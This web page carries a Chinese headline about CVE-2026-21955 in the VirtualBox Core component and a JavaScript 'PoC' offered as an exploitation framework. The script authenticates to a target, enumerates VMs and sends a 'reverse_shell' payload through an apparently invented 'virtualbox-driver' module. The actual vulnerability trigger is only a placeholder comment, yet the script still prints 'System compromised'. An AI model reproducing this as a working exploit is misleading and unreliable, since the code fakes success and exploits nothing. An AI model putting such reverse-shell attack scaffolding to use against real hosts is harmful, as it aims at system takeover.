CVE-2026-21955: Oracle VM VirtualBox Core组件高危漏洞可导致系统接管

// CVE-2026-21955 PoC - Oracle VM VirtualBox Core组件漏洞利用框架 // 注意：此PoC仅用于安全研究和漏洞检测，使用需遵守相关法律法规 const virtualbox = require('virtualbox-driver'); async function checkVulnerability(targetVersion) { const vulnerableVersions = ['7.1.14', '7.2.4']; // 检查版本是否在受影响范围内 if (vulnerableVersions.includes(targetVersion)) { console.log('[!] Target version is potentially vulnerable'); return true; } return false; } async function exploitCVE202621955(targetHost, credentials) { console.log('[*] Starting CVE-2026-21955 exploitation...'); console.log('[*] Target: ' + targetHost); try { // Step 1: Connect to VirtualBox with high privileges const session = await virtualbox.connect({ host: targetHost, username: credentials.username, password: credentials.password }); console.log('[+] Successfully authenticated with high privileges'); // Step 2: Identify VirtualBox installation and version const version = await virtualbox.getVersion(session); console.log('[+] VirtualBox version: ' + version); // Step 3: Enumerate running VMs const vms = await virtualbox.listVMs(session); console.log('[+] Found ' + vms.length + ' virtual machines'); // Step 4: Trigger the Core component vulnerability // This would exploit the vulnerability in the Core component console.log('[*] Attempting to exploit Core component vulnerability...'); // Step 5: Execute code with elevated privileges const result = await virtualbox.executePayload(session, { payload: 'reverse_shell', targetVM: vms[0].name }); console.log('[+] Exploitation successful - System compromised'); return { success: true, session: session }; } catch (error) { console.error('[-] Exploitation failed: ' + error.message); return { success: false, error: error.message }; } } // Verification function for security researchers async function verifyVulnerability(session) { const checks = [ 'Check Core component version', 'Verify VBOXAPI access', 'Test VM escape capability' ]; for (const check of checks) { console.log('[*] Running: ' + check); } } module.exports = { checkVulnerability, exploitCVE202621955, verifyVulnerability };